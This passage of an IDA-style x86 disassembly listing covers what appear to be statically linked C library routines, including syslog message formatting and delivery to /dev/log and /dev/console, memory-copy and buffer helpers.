		mov	[ebp+var_9C], esi
		push	esi
		push	ecx
		call	sub_8061910
		mov	esi, eax
		add	esp, 8
		cmp	esi, 0FFFFFFFFh
		jz	short loc_8054BD6
		jmp	short loc_8054BE0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054BB4:				; CODE XREF: sub_8053310+1884j
		mov	edx, [ebp+arg_0]
		mov	edx, [edx+14h]
		mov	ecx, esi
		mov	byte ptr [ebp+var_A0], cl
		mov	[edx], cl
		movzx	eax, byte ptr [ebp+var_A0]
		mov	edx, [ebp+arg_0]
		inc	dword ptr [edx+14h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_8054BE0

loc_8054BD6:				; CODE XREF: sub_8053310+266j
					; sub_8053310+293j ...
		mov	eax, 0FFFFFFFFh
		jmp	short loc_8054C1B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054BE0:				; CODE XREF: sub_8053310+18A2j
					; sub_8053310+18C4j
		inc	[ebp+var_5C]

loc_8054BE3:				; CODE XREF: sub_8053310+1853j
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jnz	short loc_8054B84

loc_8054BEA:				; CODE XREF: sub_8053310+1872j
		mov	ecx, [ebp+arg_4]
		cmp	dword ptr [ecx+20h], 0
		jz	short loc_8054C18
		cmp	[ebp+var_78], 0
		jle	short loc_8054C18
		mov	eax, [ebp+var_78]
		push	eax
		movzx	edx, byte ptr [ecx+2Ch]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_8062534
		mov	ebx, eax
		cmp	[ebp+var_78], ebx
		jnz	short loc_8054BD6
		mov	eax, [ebp+var_78]
		add	[ebp+var_5C], eax

loc_8054C18:				; CODE XREF: sub_8053310+387j
					; sub_8053310+38Fj ...
		mov	eax, [ebp+var_5C]

loc_8054C1B:				; CODE XREF: sub_8053310+18CBj
		lea	esp, [ebp+var_164]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8053310	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8054C28	proc near		; CODE XREF: sub_8053310+1252p
					; sub_8054C7C+15p

var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		cmp	byte ptr [edx],	0FFh
		jz	short loc_8054C40
		cmp	byte ptr [edx],	0
		jnz	short loc_8054C58

loc_8054C40:				; CODE XREF: sub_8054C28+11j
		xor	eax, eax
		jmp	short loc_8054C73
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054C44:				; CODE XREF: sub_8054C28+40j
		movzx	edx, byte ptr [edx-1]
		mov	[ebp+var_4], edx
		mov	eax, ecx
		xor	edx, edx
		div	[ebp+var_4]
		mov	ecx, eax
		add	ebx, ecx
		jmp	short loc_8054C71
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054C58:				; CODE XREF: sub_8054C28+16j
		xor	ebx, ebx
		jmp	short loc_8054C6A
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054C5C:				; CODE XREF: sub_8054C28+47j
		inc	ebx
		sub	ecx, esi
		inc	edx
		cmp	byte ptr [edx],	0FFh
		jz	short loc_8054C71
		cmp	byte ptr [edx],	0
		jz	short loc_8054C44

loc_8054C6A:				; CODE XREF: sub_8054C28+32j
		movzx	esi, byte ptr [edx]
		cmp	ecx, esi
		ja	short loc_8054C5C

loc_8054C71:				; CODE XREF: sub_8054C28+2Ej
					; sub_8054C28+3Bj
		mov	eax, ebx

loc_8054C73:				; CODE XREF: sub_8054C28+1Aj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_8054C28	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8054C7C	proc near		; CODE XREF: sub_8053310+165Fp

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_8]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_10]
		push	ebx
		push	edi
		push	esi
		call	sub_8054C28
		mov	[ebp+var_4], eax
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_8054CA8
		mov	eax, [ebp+arg_4]
		jmp	loc_8054DAD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054CA8:				; CODE XREF: sub_8054C7C+22j
		mov	ebx, [ebp+arg_0]
		add	ebx, esi
		mov	eax, [ebp+arg_4]
		sub	eax, ebx
		push	eax
		push	ebx
		add	ebx, [ebp+var_4]
		push	ebx
		call	sub_8056570
		lea	edx, [ebx-1]

loc_8054CC0:				; CODE XREF: sub_8054C7C+C2j
		movzx	ecx, byte ptr [edi]
		inc	edi
		mov	eax, ecx
		neg	eax
		and	eax, 3
		test	ecx, ecx
		jle	short loc_8054CF3
		test	eax, eax
		jz	short loc_8054D00
		cmp	eax, 3
		jge	short loc_8054CF3
		cmp	eax, 2
		jge	short loc_8054CE8
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx
		dec	ecx

loc_8054CE8:				; CODE XREF: sub_8054C7C+5Fj
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx
		dec	ecx

loc_8054CF3:				; CODE XREF: sub_8054C7C+51j
					; sub_8054C7C+5Aj
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx
		dec	ecx
		jz	short loc_8054D28

loc_8054D00:				; CODE XREF: sub_8054C7C+55j
					; sub_8054C7C+AAj
		mov	ebx, [ebp+arg_0]
		mov	al, [ebx+esi-1]
		mov	[edx], al
		mov	al, [ebx+esi-2]
		mov	[edx-1], al
		mov	al, [ebx+esi-3]
		mov	[edx-2], al
		add	esi, 0FFFFFFFCh
		mov	al, [esi+ebx]
		mov	[edx-3], al
		add	edx, 0FFFFFFFCh
		add	ecx, 0FFFFFFFCh
		jnz	short loc_8054D00

loc_8054D28:				; CODE XREF: sub_8054C7C+82j
		mov	al, byte ptr [ebp+arg_10]
		mov	[edx], al
		dec	edx
		cmp	byte ptr [edi],	0FFh
		jz	short loc_8054D40
		cmp	byte ptr [edi],	0
		jnz	short loc_8054D39
		dec	edi

loc_8054D39:				; CODE XREF: sub_8054C7C+BAj
		movzx	eax, byte ptr [edi]
		cmp	esi, eax
		ja	short loc_8054CC0

loc_8054D40:				; CODE XREF: sub_8054C7C+B5j
		mov	eax, [ebp+arg_0]
		sub	eax, edx
		and	eax, 3
		cmp	[ebp+arg_0], edx
		jge	short loc_8054D6F
		test	eax, eax
		jz	short loc_8054D80
		cmp	eax, 3
		jge	short loc_8054D6F
		cmp	eax, 2
		jge	short loc_8054D65
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx

loc_8054D65:				; CODE XREF: sub_8054C7C+DDj
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx

loc_8054D6F:				; CODE XREF: sub_8054C7C+CFj
					; sub_8054C7C+D8j
		dec	esi
		mov	ebx, [ebp+arg_0]
		mov	al, [esi+ebx]
		mov	[edx], al
		dec	edx
		cmp	edx, ebx
		jbe	short loc_8054DA7
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8054D80:				; CODE XREF: sub_8054C7C+D3j
					; sub_8054C7C+129j
		mov	ebx, [ebp+arg_0]
		mov	al, [ebx+esi-1]
		mov	[edx], al
		mov	al, [ebx+esi-2]
		mov	[edx-1], al
		mov	al, [ebx+esi-3]
		mov	[edx-2], al
		add	esi, 0FFFFFFFCh
		mov	al, [esi+ebx]
		mov	[edx-3], al
		add	edx, 0FFFFFFFCh
		cmp	edx, ebx
		ja	short loc_8054D80

loc_8054DA7:				; CODE XREF: sub_8054C7C+FFj
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]

loc_8054DAD:				; CODE XREF: sub_8054C7C+27j
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8054C7C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8054DB8	proc near		; CODE XREF: sub_804C538+2Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_8054DD0

loc_8054DC2:				; CODE XREF: sub_8054DB8+24j
		mov	__errno, 16h
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054DD0:				; CODE XREF: sub_8054DB8+8j
		mov	eax, [edx]
		and	eax, 0FFFF0000h
		cmp	eax, 0FBAD0000h
		jnz	short loc_8054DC2
		push	3
		push	0
		push	0
		push	edx
		call	sub_806267C
		mov	esp, ebp
		pop	ebp
		retn
sub_8054DB8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8054DF0	proc near		; CODE XREF: sub_804E490+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	400h
		push	eax
		push	edx
		call	sub_80626C8
		mov	esp, ebp
		pop	ebp
		retn
sub_8054DF0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8054E0C	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_8]
		cmp	eax, 0FFh
		ja	short loc_8054E40
		mov	dword_807888C, offset dword_807A858
		mov	ds:dword_807E78C[eax*4], edx
		mov	ds:dword_807A858[eax*4], ecx
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8054E40:				; CODE XREF: sub_8054E0C+11j
		mov	__errno, 16h
		mov	eax, 0FFFFFFFFh
		mov	esp, ebp
		pop	ebp
		retn
sub_8054E0C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8054E54	proc near		; CODE XREF: sub_8054EC8+366p
					; sub_8055374+5p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	eax, dword_8078894
		push	eax
		call	close
		mov	dword_8078894, 0FFFFFFFFh
		mov	ds:dword_807AC58, 0
		test	ebx, ebx
		jz	short loc_8054EA6
		mov	dword_8078898, 0
		mov	dword_807889C, offset aSyslog ;	"syslog"
		mov	dword_80788A0, 8
		mov	dword_80788A4, 0FFh

loc_8054EA6:				; CODE XREF: sub_8054E54+28j
		mov	ebx, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_8054E54	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8054EB0	proc near		; CODE XREF: getanswer+280p
					; getanswer+3CEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		lea	eax, [ebp+arg_8]
		push	eax
		push	edx
		push	ecx
		call	sub_8054EC8
		mov	esp, ebp
		pop	ebp
		retn
sub_8054EB0	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8054EC8	proc near		; CODE XREF: sub_8054EB0+Fp

var_C30		= byte ptr -0C30h
var_C24		= byte ptr -0C24h
var_C20		= dword	ptr -0C20h
var_C1C		= dword	ptr -0C1Ch
var_C18		= dword	ptr -0C18h
var_C14		= dword	ptr -0C14h
var_C10		= dword	ptr -0C10h
var_C0C		= dword	ptr -0C0Ch
var_C08		= dword	ptr -0C08h
var_C04		= byte ptr -0C04h
var_C00		= byte ptr -0C00h
var_802		= byte ptr -802h
var_801		= byte ptr -801h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0C24h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edx, __errno
		mov	[ebp+var_C1C], edx
		mov	ecx, esi
		and	ecx, 7
		mov	eax, dword_80788A4
		sar	eax, cl
		test	al, 1
		jz	loc_80552A1
		test	esi, 0FFFFFC00h
		jnz	loc_80552A1
		cmp	dword_8078894, 0
		jl	short loc_8054F15
		cmp	ds:dword_807AC58, 0
		jnz	short loc_8054F2D

loc_8054F15:				; CODE XREF: sub_8054EC8+42j
		push	0
		mov	eax, dword_8078898
		or	al, 8
		push	eax
		mov	eax, dword_807889C
		push	eax
		call	sub_80552B0
		add	esp, 0Ch

loc_8054F2D:				; CODE XREF: sub_8054EC8+4Bj
		test	esi, 3F8h
		jnz	short loc_8054F3B
		or	esi, dword_80788A0

loc_8054F3B:				; CODE XREF: sub_8054EC8+6Bj
		lea	ebx, [ebp+var_C04]
		push	ebx
		call	time
		push	ebx
		call	sub_805B548
		add	eax, 4
		push	eax
		push	esi
		push	offset aD_15s	; "<%d>%.15s "
		push	800h
		lea	ebx, [ebp+var_800]
		push	ebx
		call	sub_8062888
		mov	esi, ebx
		add	esp, 1Ch
		cmp	[ebp+var_800], 0
		jz	short loc_8054F7E
		lea	esi, [esi]

loc_8054F78:				; CODE XREF: sub_8054EC8+B4j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_8054F78

loc_8054F7E:				; CODE XREF: sub_8054EC8+ACj
		test	byte ptr dword_8078898,	20h
		jz	short loc_8054F8D
		mov	[ebp+var_C20], esi

loc_8054F8D:				; CODE XREF: sub_8054EC8+BDj
		cmp	dword_807889C, 0
		jz	short loc_8054FB2
		mov	eax, dword_807889C
		push	eax
		push	esi
		call	strcpy
		add	esp, 8
		cmp	byte ptr [esi],	0
		jz	short loc_8054FB2
		lea	esi, [esi]

loc_8054FAC:				; CODE XREF: sub_8054EC8+E8j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_8054FAC

loc_8054FB2:				; CODE XREF: sub_8054EC8+CCj
					; sub_8054EC8+E0j
		test	byte ptr dword_8078898,	1
		jz	short loc_8054FE2
		call	getpid
		push	eax
		push	offset aD	; "[%d]"
		mov	eax, ebp
		sub	eax, esi
		push	eax
		push	esi
		call	sub_8062888
		add	esp, 10h
		cmp	byte ptr [esi],	0
		jz	short loc_8054FE2
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8054FDC:				; CODE XREF: sub_8054EC8+118j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_8054FDC

loc_8054FE2:				; CODE XREF: sub_8054EC8+F1j
					; sub_8054EC8+10Fj
		cmp	dword_807889C, 0
		jz	short loc_8054FF6
		mov	byte ptr [esi],	3Ah
		inc	esi
		mov	byte ptr [esi],	20h
		inc	esi
		mov	byte ptr [esi],	0

loc_8054FF6:				; CODE XREF: sub_8054EC8+121j
		lea	ebx, [ebp+var_C00]
		jmp	loc_8055108
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055004:				; CODE XREF: sub_8054EC8+24Dj
		lea	eax, [ebp+var_801]
		cmp	ebx, eax
		jnb	loc_805511B
		cmp	[ebp+var_C24], 25h
		jnz	loc_80550FC
		mov	edx, [ebp+arg_4]
		cmp	byte ptr [edx+1], 25h
		jnz	short loc_8055074
		lea	eax, [ebp+var_802]
		cmp	ebx, eax
		jnb	short loc_8055044
		mov	byte ptr [ebx],	25h
		inc	ebx
		mov	byte ptr [ebx],	25h
		inc	ebx
		inc	edx
		mov	[ebp+arg_4], edx
		jmp	loc_8055105
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055044:				; CODE XREF: sub_8054EC8+168j
		push	offset aTruncated ; "[truncated] "
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_80553A0
		add	esp, 0Ch
		cmp	byte ptr [esi],	0
		jz	loc_805511B
		lea	esi, [esi]

loc_8055068:				; CODE XREF: sub_8054EC8+1A4j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_8055068
		jmp	loc_805511B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_8055074:				; CODE XREF: sub_8054EC8+15Ej
		cmp	[ebp+var_C24], 25h
		jnz	short loc_80550FC
		mov	edx, [ebp+arg_4]
		cmp	byte ptr [edx+1], 6Dh
		jnz	short loc_80550FC
		inc	edx
		mov	[ebp+arg_4], edx
		mov	eax, ebp
		sub	eax, ebx
		lea	edi, [eax-800h]
		mov	edx, [ebp+var_C1C]
		push	edx
		call	sub_80566A4
		push	eax
		push	offset aS	; "%s"
		push	edi
		push	ebx
		call	sub_8062888
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_80550B9
		cmp	eax, edi
		jle	short loc_80550EC

loc_80550B9:				; CODE XREF: sub_8054EC8+1EBj
		push	offset aTruncated ; "[truncated] "
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_80553A0
		add	esp, 0Ch
		cmp	byte ptr [esi],	0
		jz	short loc_80550DE
		nop

loc_80550D8:				; CODE XREF: sub_8054EC8+214j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_80550D8

loc_80550DE:				; CODE XREF: sub_8054EC8+20Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_805511B
		nop

loc_80550E4:				; CODE XREF: sub_8054EC8+220j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_80550E4
		jmp	short loc_805511B
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80550EC:				; CODE XREF: sub_8054EC8+1EFj
		cmp	byte ptr [ebx],	0
		jz	short loc_8055105
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_80550F4:				; CODE XREF: sub_8054EC8+230j
		inc	ebx
		cmp	byte ptr [ebx],	0
		jnz	short loc_80550F4
		jmp	short loc_8055105
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_80550FC:				; CODE XREF: sub_8054EC8+151j
					; sub_8054EC8+1B3j ...
		mov	dl, [ebp+var_C24]
		mov	[ebx], dl
		inc	ebx

loc_8055105:				; CODE XREF: sub_8054EC8+176j
					; sub_8054EC8+227j ...
		inc	[ebp+arg_4]

loc_8055108:				; CODE XREF: sub_8054EC8+134j
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		mov	[ebp+var_C24], dl
		test	dl, dl
		jnz	loc_8055004

loc_805511B:				; CODE XREF: sub_8054EC8+144j
					; sub_8054EC8+198j ...
		mov	byte ptr [ebx],	0
		cmp	[ebp+var_C24], 0
		jz	short loc_805514E
		push	offset aTruncated ; "[truncated] "
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_80553A0
		add	esp, 0Ch
		cmp	byte ptr [esi],	0
		jz	short loc_805514E
		db 8Dh,76h,0 ; <BAD> lea     esi, [esi+0]

loc_8055148:				; CODE XREF: sub_8054EC8+284j
		inc	esi
		cmp	byte ptr [esi],	0
		jnz	short loc_8055148

loc_805514E:				; CODE XREF: sub_8054EC8+25Dj
					; sub_8054EC8+27Bj
		mov	edi, ebp
		sub	edi, esi
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_C00]
		push	eax
		push	edi
		push	esi
		call	sub_80628A8
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_8055170
		cmp	eax, edi
		jle	short loc_805518D

loc_8055170:				; CODE XREF: sub_8054EC8+2A2j
		push	offset aTruncated ; "[truncated] "
		push	800h
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_80553A0
		add	esp, 0Ch
		jmp	short loc_805518D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805518C:				; CODE XREF: sub_8054EC8+2C8j
		inc	esi

loc_805518D:				; CODE XREF: sub_8054EC8+2A6j
					; sub_8054EC8+2C1j
		cmp	byte ptr [esi],	0
		jnz	short loc_805518C
		lea	eax, [ebp+var_800]
		sub	esi, eax
		mov	[ebp+var_C18], esi
		test	byte ptr dword_8078898,	20h
		jz	short loc_80551EE
		mov	edx, [ebp+var_C20]
		mov	[ebp+var_C14], edx
		sub	edx, eax
		mov	eax, edx
		mov	edx, [ebp+var_C18]
		sub	edx, eax
		mov	[ebp+var_C10], edx
		mov	[ebp+var_C0C], offset asc_8067FB3 ; "\n"
		mov	[ebp+var_C08], 1
		push	2
		lea	eax, [ebp+var_C14]
		push	eax
		push	2
		call	sub_8056E70
		add	esp, 0Ch

loc_80551EE:				; CODE XREF: sub_8054EC8+2DFj
		lea	esi, [ebp+var_800]
		mov	ebx, [ebp+var_C18]
		add	ebx, esi

loc_80551FC:				; CODE XREF: sub_8054EC8+374j
		mov	eax, ebx
		sub	eax, esi
		inc	eax
		push	eax
		push	esi
		mov	eax, dword_8078894
		push	eax
		call	write
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_8055238
		cmp	__errno, 0Bh
		jz	short loc_8055227
		cmp	__errno, 4
		jnz	short loc_805522C

loc_8055227:				; CODE XREF: sub_8054EC8+354j
		xor	eax, eax
		jmp	short loc_8055238
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805522C:				; CODE XREF: sub_8054EC8+35Dj
		push	0
		call	sub_8054E54
		add	esp, 4
		jmp	short loc_805523E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_8055238:				; CODE XREF: sub_8054EC8+34Bj
					; sub_8054EC8+361j
		add	esi, eax
		cmp	esi, ebx
		jbe	short loc_80551FC

loc_805523E:				; CODE XREF: sub_8054EC8+36Ej
		cmp	esi, ebx
		ja	short loc_80552A1
		test	byte ptr dword_8078898,	2
		jz	short loc_80552A1
		push	0
		push	1
		push	offset aDevConsole ; "/dev/console"
		call	open
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jl	short loc_80552A1
		push	offset asc_8067FC2 ; "\r\n"
		lea	ebx, [ebp+var_800]
		push	ebx
		call	sub_80577C0
		add	[ebp+var_C18], 2
		push	3Eh
		push	ebx
		call	strchr
		lea	esi, [eax+1]
		mov	eax, esi
		sub	eax, ebx
		mov	edx, [ebp+var_C18]
		sub	edx, eax
		mov	eax, edx
		push	eax
		push	esi
		push	edi
		call	write
		push	edi
		call	close

loc_80552A1:				; CODE XREF: sub_8054EC8+29j
					; sub_8054EC8+35j ...
		lea	esp, [ebp+var_C30]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_8054EC8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80552B0	proc near		; CODE XREF: gethostbyaddr+207p
					; sub_8054EC8+5Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edx, [ebp+arg_0]
		mov	ecx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		test	edx, edx
		jz	short loc_80552C7
		mov	dword_807889C, edx

loc_80552C7:				; CODE XREF: sub_80552B0+Fj
		mov	dword_8078898, ecx
		test	eax, eax
		jz	short loc_80552DD
		test	eax, 0FFFFFC07h
		jnz	short loc_80552DD
		mov	dword_80788A0, eax

loc_80552DD:				; CODE XREF: sub_80552B0+1Fj
					; sub_80552B0+26j
		cmp	dword_8078894, 0FFFFFFFFh
		jnz	short loc_805532D
		mov	ds:word_807AC5C, 1
		push	0Eh
		push	offset aDevLog	; "/dev/log"
		push	offset unk_807AC5E
		call	strncpy
		add	esp, 0Ch
		test	byte ptr dword_8078898,	8
		jz	short loc_8055324
		push	0
		push	1
		push	1
		call	socket
		mov	dword_8078894, eax
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_805536A

loc_8055324:				; CODE XREF: sub_80552B0+5Aj
		cmp	dword_8078894, 0FFFFFFFFh
		jz	short loc_805536A

loc_805532D:				; CODE XREF: sub_80552B0+34j
		cmp	ds:dword_807AC58, 0
		jnz	short loc_805536A
		xor	al, al
		mov	edi, offset unk_807AC5E
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		inc	eax
		push	eax
		push	offset word_807AC5C
		mov	eax, dword_8078894
		push	eax
		call	connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_805536A
		mov	ds:dword_807AC58, 1

loc_805536A:				; CODE XREF: sub_80552B0+72j
					; sub_80552B0+7Bj ...
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_80552B0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8055374	proc near
		push	ebp
		mov	ebp, esp
		push	1
		call	sub_8054E54
		mov	esp, ebp
		pop	ebp
		retn
sub_8055374	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_8055384	proc near

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, dword_80788A4
		test	edx, edx
		jz	short loc_8055399
		mov	dword_80788A4, edx

loc_8055399:				; CODE XREF: sub_8055384+Dj
		mov	esp, ebp
		pop	ebp
		retn
sub_8055384	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_80553A0	proc near		; CODE XREF: sub_8054EC8+18Dp
					; sub_8054EC8+202p ...

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		cmp	[ebp+arg_0], 0
		jz	loc_80555A4
		cmp	[ebp+arg_8], 0
		jz	loc_80555A4
		xor	al, al
		mov	edi, [ebp+arg_8]
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		lea	edi, [eax-1]
		test	edi, edi
		jz	loc_80555A4
		mov	ebx, [ebp+arg_0]
		cmp	byte ptr [ebx],	3Ch
		jnz	short loc_8055431
		movzx	edx, byte ptr [ebx+1]
		mov	eax, dword_8078FA0
		test	byte ptr [eax+edx*2+1],	8
